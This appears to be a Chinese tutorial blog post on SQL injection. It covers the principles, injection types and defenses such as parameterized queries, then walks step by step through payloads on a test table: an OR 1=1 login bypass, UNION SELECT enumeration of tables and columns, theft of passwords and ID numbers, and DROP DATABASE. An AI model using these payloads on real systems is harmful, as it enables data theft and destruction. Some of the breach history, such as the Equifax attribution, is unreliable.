SQL注入原理与实践

1、SQL注入是什么

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2、SQL注入原理

SQL有很多种类,但大多都基于ANSI标准SQL-92。SQL执行的单位是一个“query”,该“query”可以是一系列语句集合,返回一个结果集。SQL语句可以修改数据库结构(使用数据定义语言DDL)和操作数据库内容(使用数据操作语言DML)。SQL语言本身造成了SQL注入漏洞,给SQL注入攻击带来了可能性。

注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

举个栗子:
网站登录时,基于单表查询登录用户信息,sql如下:

SELECT * FROM t_user WHERE user_name=’timber’ and password=123456

这个查询查询提取 t_user 表中 user_name 值为 timber 并且 password 值为 123456 的记录。如果返回一条用户记录,该用户即可成功登录。

如果这个时候,我们输入的user_name账号名为:timber’ or ‘1’=‘1 ,那么sql语句将变为

SELECT * FROM t_user WHERE user_name='timber' or1=1and password='...'

也就等同于

SELECT * FROM  t_user  WHERE user_name='timber'

从而避开了密码检查,成功登录。

这还是比较温柔的注入,如果我们输入的user_name的值为:timber’;DROP DATABASE (DB Name) – ,那么执行的是

SELECT * FROM  t_user  WHERE user_name='timber';DROP DATABASE (DB Name)--' and password=''

后果可想而知。

3、SQL注入分类

1.数字型注入

当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果入参时试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

eg:

select * from t_user where id=1;
select * from t_user where id=1 or 1=1;

2.字符型注入

当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

eg:

select * from t_user where user_name='timber';
select * from t_user where user_name='timber' or 1=1;

4、SQL注入特点

1.广泛性

任何一个基于SQL语言的数据库都可能被攻击,很多开发人员在编写Web应用程序时未对从输入参数、Web表单、cookie等接受到的值进行规范性验证和检测,通常会出现SQL注入漏洞。

2.隐蔽性

SQL注入语句一般都嵌入在普通的HTTP请求中,很难与正常语句区分开,所以当前许多防火墙都无法识别予以警告,而且SQL注入变种极多,攻击者可以调整攻击的参数,所以使用传统的方法防御SQL注入效果非常不理想。

3.危害大

攻击者通过SQL注入获取到服务器的库名、表名、字段名,从而获取到整个服务器中的数据,对网站用户的数据安全有极大的威胁。攻击者也可以通过获取到的数据,得到后台管理员的密码,然后对网页页面进行恶意篡改。这样不仅对数据库信息安全造成严重威胁,对整个数据库系统安全也影响重大。
自1999年起,SQL注入漏洞就成了常见安全漏洞之一。至今SQL注入漏洞仍然在CVE列表中排前10。
(数据库生产厂商难以通过维护数据库自身功能或提高数据库安全策略来防范SQL注入)

4.操作方便

简单易学,攻击过程简单,不需要专业知识也能自如运用,并且现在互联网上有很多SQL注入工具。

5、防范措施

1、参数化查询

在编写参数化查询时,可以使用特殊的占位符(如“@parameterName”)来代表参数,然后在执行查询前,将参数值分配给这些占位符。这个方法已被视为最有效可预防SQL注入攻击的攻击手法的防御方式。
此外,为参数设置适当的数据类型和大小(Size)属性可以提高查询效率,因为这允许数据库重用执行计划,避免每次执行SQL时都生成新的执行计划。
在不同的编程环境和数据库系统中,参数化查询的实现方式可能有所不同。在Java中,可以使用PreparedStatement来实现参数化查询,将用户输入作为参数传递给查询,而不是直接拼接到查询字符串中,以提高应用程序的安全性。

2、输入验证和过滤

输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术。它可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。在Java中,可以使用正则表达式和内置的输入验证方法来实现输入验证和过滤。

3、使用存储过程

存储过程是一组预定义的SQL语句集合,可以在数据库中进行重复性和复杂性的操作。它们可以接受参数,并且可以在数据库中进行重复使用。

4、最小权限原则

最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限。这意味着用户只能访问和执行他们工作所需的数据库对象和操作,而不是拥有对整个数据库的完全访问权限。例如,对于MySQL数据库,可以使用GRANT语句为用户授予特定的权限。

5、使用ORM框架

ORM(对象关系映射)框架是一种将对象模型和关系数据库之间进行映射的技术。它允许开发人员使用面向对象的方式操作数据库,而不需要编写繁琐的SQL语句。ORM框架将数据库表映射为对象,将表的行映射为对象的属性,将表之间的关系映射为对象之间的关联。
ORM框架的优点包括提高开发效率、减少代码量、简化数据库操作、提供对象级别的查询和持久化等。常见的Java ORM框架包括Hibernate、MyBatis和Spring Data JPA等。

当然,还有其他方法,例如准备语句、及时升级软件以及数据库版本、避免动态拼接SQL语句、使用防火墙和入侵检测系统等等。

6、典型案例

在国外,SQL注入最早出现在1999年;在我国大约出现在2002年。

2012年,Barclaycard的一个代表声称97%的数据泄露都是由SQL注入引起的。2011年年末和2012年年初,在不到一个月的时间里,超过百万的网页遭受到SQL注入攻击。2008年见证了由于SQL注入引起的经济失调。甚至在2010年秋季,联合国官方网站也遭受SQL注入攻击。

2014年一个叫“TeamDigi7al”的黑客组织攻击了美国海军的一个名为“Smart Web Move”的web应用。此次事件直接造成美国海军数据库超过22万服役人员的个人信息被泄露。而事后,美国海军动用了超过50万美元来弥补此次的数据泄密事故。

2015年,约翰·卡特尔(John McAfee)的网站遭到了SQL注入攻击,导致黑客获取了网站上全部的注册用户信息。

2016年,Yahoo公司披露了两起大规模数据泄露事件,其中涉及的一次就是通过SQL注入攻击获得的。

2017年,Equifax公司遭到了一次严重的数据泄露事件,泄露了超过1.43亿条用户记录。调查人员发现,攻击者使用了SQL注入攻击。

SQL注入技术公布后不久,互联网上出现了很多例如教主的HDSI、NBSI、明小子的Domain等SQL注入工具,对那些存在SQL注入的网站以及Web应用程序进行攻击,很容易就可以获取其服务器的控制权。

7、注入过程

1.注入点探测

探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。

2.收集数据库信息

不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

3.获取信息

数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

4.入侵和破坏

随心所欲…

8、举个栗子

特别说明:切记注入实验要在测试环境下进行,不能对国内网站进行SQL注入,以防触碰法律。

前言

假如我们有一个服务网站,由于程序员的疏忽,存在sql注入漏洞,使用开发语言为java,数据库为mysql,sql代码如下:

SELECT id,user_name FROM `test_table` where  id=${id}

1、使用网站

输入:id = 1,
PS:正常访问网站,正确入参 ,请求接口,查看回显,发现我们得到了一条数据

执行sql为:

 SELECT id,user_name FROM `test_table` where  id = 1 

在这里插入图片描述
2、判断是否存在注入

输入:id= 1 and 1=1 ,返回正常结果,输入id= 1 and 1=2 ,返回空。
PS:说明我们成功的把测试语句代入到了数据库查询,and就是逻辑运算,1=1为真,1=2为假,所以返回不同。

执行sql为:

 SELECT id,user_name FROM `test_table` where  id = 1 and 1=1
 SELECT id,user_name FROM `test_table` where  id = 1 and 1=2

在这里插入图片描述

3、获取全部数据

输入:1 or 1=1
PS:最简单粗暴的,我们哪怕不知道数据库信息,字段信息,也可以直接获取全部数据,完成注入。

执行sql为:

SELECT id,user_name FROM `test_table` where  id = 1 or 1=1

在这里插入图片描述

4、判断字段数

输入:1 order by 2返回正常 ,1 order by 3返回错误。
PS:根据返参是两个字段,大概判断出查询两个字段,通过order by 语句验证结果。

执行sql为:

 SELECT id,user_name FROM `test_table` where  id = 1 order by 2
 SELECT id,user_name FROM `test_table` where  id = 1 order by 3

在这里插入图片描述
5、获取数据库信息

输入:1 union select database(),user()
PS:页面会查询当前用户,地址,数据库名,版本号version()等

执行sql为:

  SELECT id,user_name FROM `test_table` where  id = 1 union select database(),user()

6、获取数据库表名

输入: 1 union select 1,table_name from information_schema.tables where table_schema=‘数据库名’
PS:获取数据库表名

执行sql为:

 select id,user_name from test_table a where id=1 union select 1,table_name from information_schema.tables where table_schema='数据库名'

7、获取数据库字段

输入: 1 union select 1,column_name from information_schema.columns where table_name=‘表名’ and table_schema=‘数据库名’
PS:获取数据库字段

执行sql为:

select id,user_name from test_table a where id=1 union select 1,column_name from information_schema.columns where table_name='表名' and table_schema='数据库名'

8、拿到了数据库名,数据库表名,数据库表字段,那么就可以随意发挥了

比如

获取账号密码:
union select password,user from users

获取敏感数据:
union select user_name,id_card,phone from users

删库,跑不了路,喜提银手镯:
;DROP DATABASE (DB Name)

再次说明:切记注入实验要在测试环境下进行,不能对国内网站进行SQL注入,不然真的会喜提银手镯一副哦。

本文章意在说明SQL注入的原理与危害,而不是教学如何注入,真有心痒痒的同学,可别说是根据这篇文章搞的,阿弥陀佛....

相关链接:

XSS注入(跨站脚本攻击)原理与实践

  • 7
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值